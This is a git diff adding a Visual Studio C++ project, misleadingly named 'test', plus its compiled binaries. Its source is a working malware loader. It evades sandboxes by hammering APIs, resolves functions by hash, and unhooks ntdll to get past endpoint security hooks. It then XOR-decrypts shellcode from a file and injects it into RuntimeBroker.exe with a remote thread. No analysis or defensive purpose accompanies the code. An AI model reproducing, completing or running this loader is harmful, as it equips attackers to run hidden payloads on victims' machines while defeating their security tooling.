diff --git a/test/test.cpp b/test/test.cpp new file mode 100644 index 0000000..c40c27c --- /dev/null +++ b/test/test.cpp @@ -0,0 +1,263 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "ntdll.lib") + +std::unordered_map apiHashTable; + +DWORD HashString(const char* str) { + DWORD hash = 0; + while (*str) { + hash = ((hash << 5) + hash) + *str++; + } + return hash; +} + +FARPROC ResolveAPI(DWORD hash) { + if (apiHashTable.find(hash) != apiHashTable.end()) { + return apiHashTable[hash]; + } + + HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); + if (!hNtdll) return nullptr; + + auto pExportDir = reinterpret_cast( + reinterpret_cast(hNtdll) + + reinterpret_cast(reinterpret_cast(hNtdll) + + reinterpret_cast(hNtdll)->e_lfanew)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + auto pNames = reinterpret_cast(reinterpret_cast(hNtdll) + pExportDir->AddressOfNames); + auto pFunctions = reinterpret_cast(reinterpret_cast(hNtdll) + pExportDir->AddressOfFunctions); + auto pOrdinals = reinterpret_cast(reinterpret_cast(hNtdll) + pExportDir->AddressOfNameOrdinals); + + for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) { + const char* apiName = reinterpret_cast(reinterpret_cast(hNtdll) + pNames[i]); + DWORD apiHash = HashString(apiName); + + if (apiHash == hash) { + auto proc = reinterpret_cast(reinterpret_cast(hNtdll) + pFunctions[pOrdinals[i]]); + apiHashTable[hash] = proc; + return proc; + } + } + return nullptr; +} + +void APIHammering() { + for (int i = 0; i < 100; i++) { + LoadLibraryA("kernel32.dll"); + LoadLibraryA("user32.dll"); + GetModuleHandleA("ntdll.dll"); + } +} + +void ObfuscateString(std::string& str, unsigned char key) { + for (auto& c : str) { + c ^= key; + } +} + +typedef BOOL(WINAPI* LPDSENUMATTRIBUTES)(void* lpShellcode); + +void DecryptShellcode(std::vector& shellcode, unsigned char key) { + for (size_t i = 0; i < shellcode.size(); ++i) { + shellcode[i] ^= key; + } +} + +void UnhookNtdll() { + DWORD hashVirtualProtect = HashString("VirtualProtect"); + FARPROC pVirtualProtect = ResolveAPI(hashVirtualProtect); + + HMODULE hNtdll = GetModuleHandle(L"ntdll.dll"); + if (!hNtdll) return; + + wchar_t systemDir[MAX_PATH] = { 0 }; + GetSystemDirectory(systemDir, MAX_PATH); + + wchar_t ntdllPath[MAX_PATH] = { 0 }; + wcscat_s(ntdllPath, systemDir); + wcscat_s(ntdllPath, L"\ntdll.dll"); + + HANDLE hFile = CreateFile(ntdllPath, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); + if (hFile == INVALID_HANDLE_VALUE) return; + + DWORD fileSize = GetFileSize(hFile, nullptr); + if (fileSize == INVALID_FILE_SIZE) { + CloseHandle(hFile); + return; + } + + HANDLE hMapping = CreateFileMapping(hFile, nullptr, PAGE_READONLY, 0, fileSize, nullptr); + if (!hMapping) { + CloseHandle(hFile); + return; + } + + void* pFileData = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); + if (!pFileData) { + CloseHandle(hMapping); + CloseHandle(hFile); + return; + } + + auto pLoadedNtdll = reinterpret_cast(hNtdll); + auto pDosHeader = reinterpret_cast(pFileData); + auto pNtHeaders = reinterpret_cast(reinterpret_cast(pFileData) + pDosHeader->e_lfanew); + + auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); + for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++) { + if (!strcmp(reinterpret_cast(pSectionHeader->Name), ".text")) { + DWORD oldProtect; + reinterpret_cast(pVirtualProtect)( + pLoadedNtdll + pSectionHeader->VirtualAddress, + pSectionHeader->Misc.VirtualSize, + PAGE_EXECUTE_READWRITE, + &oldProtect + ); + + memcpy( + pLoadedNtdll + pSectionHeader->VirtualAddress, + reinterpret_cast(pFileData) + pSectionHeader->PointerToRawData, + pSectionHeader->SizeOfRawData + ); + + reinterpret_cast(pVirtualProtect)( + pLoadedNtdll + pSectionHeader->VirtualAddress, + pSectionHeader->Misc.VirtualSize, + oldProtect, + &oldProtect + ); + break; + } + } + + UnmapViewOfFile(pFileData); + CloseHandle(hMapping); + CloseHandle(hFile); +} + +void ExecuteShellcodeWithThreadpool(const std::vector& shellcode) { + void* execMemory = VirtualAlloc( + nullptr, + shellcode.size(), + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE + ); + + if (!execMemory) { + return; + } + + memcpy(execMemory, shellcode.data(), shellcode.size()); + + PTP_WORK work = CreateThreadpoolWork( + [](PTP_CALLBACK_INSTANCE, void* context, PTP_WORK) { + auto shellcodePtr = reinterpret_cast(context); + shellcodePtr(); + }, + execMemory, + nullptr + ); + + if (work) { + SubmitThreadpoolWork(work); + WaitForThreadpoolWorkCallbacks(work, FALSE); + CloseThreadpoolWork(work); + } + + VirtualFree(execMemory, 0, MEM_RELEASE); +} + +DWORD FindProcessId(const wchar_t* processName) { + PROCESSENTRY32 pe32; + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) { + return 0; + } + + pe32.dwSize = sizeof(PROCESSENTRY32); + if (Process32First(hSnapshot, &pe32)) { + do { + if (!_wcsicmp(pe32.szExeFile, processName)) { + CloseHandle(hSnapshot); + return pe32.th32ProcessID; + } + } while (Process32Next(hSnapshot, &pe32)); + } + + CloseHandle(hSnapshot); + return 0; +} + +void RemoteFunctionStompingInjection(const std::vector& shellcode) { + DWORD processId = FindProcessId(L"RuntimeBroker.exe"); + if (processId == 0) { + return; + } + + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); + if (!hProcess) { + return; + } + + void* remoteMemory = VirtualAllocEx(hProcess, nullptr, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!remoteMemory) { + CloseHandle(hProcess); + return; + } + + if (!WriteProcessMemory(hProcess, remoteMemory, shellcode.data(), shellcode.size(), nullptr)) { + VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); + CloseHandle(hProcess); + return; + } + + HMODULE hModule = GetModuleHandleA("kernel32.dll"); + FARPROC loadLibraryAddr = GetProcAddress(hModule, "LoadLibraryA"); + + HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, reinterpret_cast(remoteMemory), nullptr, 0, nullptr); + if (hThread) { + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + } + + VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); + CloseHandle(hProcess); +} + +int main() { + const char* filename = "shellcode.bin"; + const unsigned char key = 0x5A; + + APIHammering(); // Add hammering before starting + UnhookNtdll(); + + std::ifstream file(filename, std::ios::binary); + if (!file.is_open()) { + return -1; + } + + std::vector encryptedShellcode( + (std::istreambuf_iterator(file)), + std::istreambuf_iterator() + ); + file.close(); + + if (encryptedShellcode.empty()) { + return -1; + } + + DecryptShellcode(encryptedShellcode, key); + + RemoteFunctionStompingInjection(encryptedShellcode); + + return 0; +} \ No newline at end of file diff --git a/test/test.sln b/test/test.sln new file mode 100644 index 0000000..deeaca5 --- /dev/null +++ b/test/test.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.11.35303.130 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "test", "test.vcxproj", "{E178E088-6629-4401-8E22-F7BA9D927D22}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {E178E088-6629-4401-8E22-F7BA9D927D22}.Debug|x64.ActiveCfg = Debug|x64 + {E178E088-6629-4401-8E22-F7BA9D927D22}.Debug|x64.Build.0 = Debug|x64 + {E178E088-6629-4401-8E22-F7BA9D927D22}.Debug|x86.ActiveCfg = Debug|Win32 + {E178E088-6629-4401-8E22-F7BA9D927D22}.Debug|x86.Build.0 = Debug|Win32 + {E178E088-6629-4401-8E22-F7BA9D927D22}.Release|x64.ActiveCfg = Release|x64 + {E178E088-6629-4401-8E22-F7BA9D927D22}.Release|x64.Build.0 = Release|x64 + {E178E088-6629-4401-8E22-F7BA9D927D22}.Release|x86.ActiveCfg = Release|Win32 + {E178E088-6629-4401-8E22-F7BA9D927D22}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {7A638454-64BA-4B7F-95DE-878858108F1A} + EndGlobalSection +EndGlobal diff --git a/test/test.vcxproj b/test/test.vcxproj new file mode 100644 index 0000000..4f46a67 --- /dev/null +++ b/test/test.vcxproj @@ -0,0 +1,135 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {e178e088-6629-4401-8e22-f7ba9d927d22} + test + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/test/test.vcxproj.filters b/test/test.vcxproj.filters new file mode 100644 index 0000000..a93eaff --- /dev/null +++ b/test/test.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + \ No newline at end of file diff --git a/test/test.vcxproj.user b/test/test.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/test/test.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/test/test/x64/Release/test.exe.recipe b/test/test/x64/Release/test.exe.recipe new file mode 100644 index 0000000..4a24c7b --- /dev/null +++ b/test/test/x64/Release/test.exe.recipe @@ -0,0 +1,11 @@ + + + + + C:\Users\Jason\source\repos\test\x64\Release\test.exe + + + + + + \ No newline at end of file diff --git a/test/test/x64/Release/test.iobj b/test/test/x64/Release/test.iobj new file mode 100644 index 0000000..ef7193d Binary files /dev/null and b/test/test/x64/Release/test.iobj differ diff --git a/test/test/x64/Release/test.ipdb b/test/test/x64/Release/test.ipdb new file mode 100644 index 0000000..ce85ceb Binary files /dev/null and b/test/test/x64/Release/test.ipdb differ diff --git a/test/test/x64/Release/test.log b/test/test/x64/Release/test.log new file mode 100644 index 0000000..9a3e891 --- /dev/null +++ b/test/test/x64/Release/test.log @@ -0,0 +1,7 @@ + test.cpp + 正在生成代码 + 3 of 380 functions ( 0.8%) were compiled, the rest were copied from previous compilation. + 2 functions were new in current compilation + 1 functions had inline decision re-evaluated but remain unchanged + 已完成代码的生成 + test.vcxproj -> C:\Users\Jason\source\repos\test\x64\Release\test.exe diff --git a/test/test/x64/Release/test.obj b/test/test/x64/Release/test.obj new file mode 100644 index 0000000..fdecfe4 Binary files /dev/null and b/test/test/x64/Release/test.obj differ diff --git a/test/test/x64/Release/test.tlog/CL.command.1.tlog b/test/test/x64/Release/test.tlog/CL.command.1.tlog new file mode 100644 index 0000000..4cd8693 Binary files /dev/null and b/test/test/x64/Release/test.tlog/CL.command.1.tlog differ diff --git a/test/test/x64/Release/test.tlog/CL.read.1.tlog b/test/test/x64/Release/test.tlog/CL.read.1.tlog new file mode 100644 index 0000000..bbfde76 Binary files /dev/null and b/test/test/x64/Release/test.tlog/CL.read.1.tlog differ diff --git a/test/test/x64/Release/test.tlog/CL.write.1.tlog b/test/test/x64/Release/test.tlog/CL.write.1.tlog new file mode 100644 index 0000000..f9b32ad Binary files /dev/null and b/test/test/x64/Release/test.tlog/CL.write.1.tlog differ diff --git a/test/test/x64/Release/test.tlog/Cl.items.tlog b/test/test/x64/Release/test.tlog/Cl.items.tlog new file mode 100644 index 0000000..9495a1c --- /dev/null +++ b/test/test/x64/Release/test.tlog/Cl.items.tlog @@ -0,0 +1 @@ +C:\Users\Jason\source\repos\test\test.cpp;C:\Users\Jason\source\repos\test\test\x64\Release\test.obj diff --git a/test/test/x64/Release/test.tlog/link.command.1.tlog b/test/test/x64/Release/test.tlog/link.command.1.tlog new file mode 100644 index 0000000..996fd7d Binary files /dev/null and b/test/test/x64/Release/test.tlog/link.command.1.tlog differ diff --git a/test/test/x64/Release/test.tlog/link.read.1.tlog b/test/test/x64/Release/test.tlog/link.read.1.tlog new file mode 100644 index 0000000..8c1c5f9 Binary files /dev/null and b/test/test/x64/Release/test.tlog/link.read.1.tlog differ diff --git a/test/test/x64/Release/test.tlog/link.secondary.1.tlog b/test/test/x64/Release/test.tlog/link.secondary.1.tlog new file mode 100644 index 0000000..17b4542 --- /dev/null +++ b/test/test/x64/Release/test.tlog/link.secondary.1.tlog @@ -0,0 +1,3 @@ +^C:\USERS\JASON\SOURCE\REPOS\TEST\TEST\X64\RELEASE\TEST.OBJ +C:\Users\Jason\source\repos\test\test\x64\Release\test.IPDB +C:\Users\Jason\source\repos\test\test\x64\Release\test.iobj diff --git a/test/test/x64/Release/test.tlog/link.write.1.tlog b/test/test/x64/Release/test.tlog/link.write.1.tlog new file mode 100644 index 0000000..81595b1 Binary files /dev/null and b/test/test/x64/Release/test.tlog/link.write.1.tlog differ diff --git a/test/test/x64/Release/test.tlog/test.lastbuildstate b/test/test/x64/Release/test.tlog/test.lastbuildstate new file mode 100644 index 0000000..65f415d --- /dev/null +++ b/test/test/x64/Release/test.tlog/test.lastbuildstate @@ -0,0 +1,2 @@ +PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.41.34120:TargetPlatformVersion=10.0.22621.0: +Release|x64|C:\Users\Jason\source\repos\test\| diff --git a/test/test/x64/Release/vc143.pdb b/test/test/x64/Release/vc143.pdb new file mode 100644 index 0000000..9e58fc9 Binary files /dev/null and b/test/test/x64/Release/vc143.pdb differ diff --git a/test/x64/Release/test.exe b/test/x64/Release/test.exe new file mode 100644 index 0000000..0d37ee6 Binary files /dev/null and b/test/x64/Release/test.exe differ diff --git a/test/x64/Release/test.pdb b/test/x64/Release/test.pdb new file mode 100644 index 0000000..c3ad739 Binary files /dev/null and b/test/x64/Release/test.pdb differ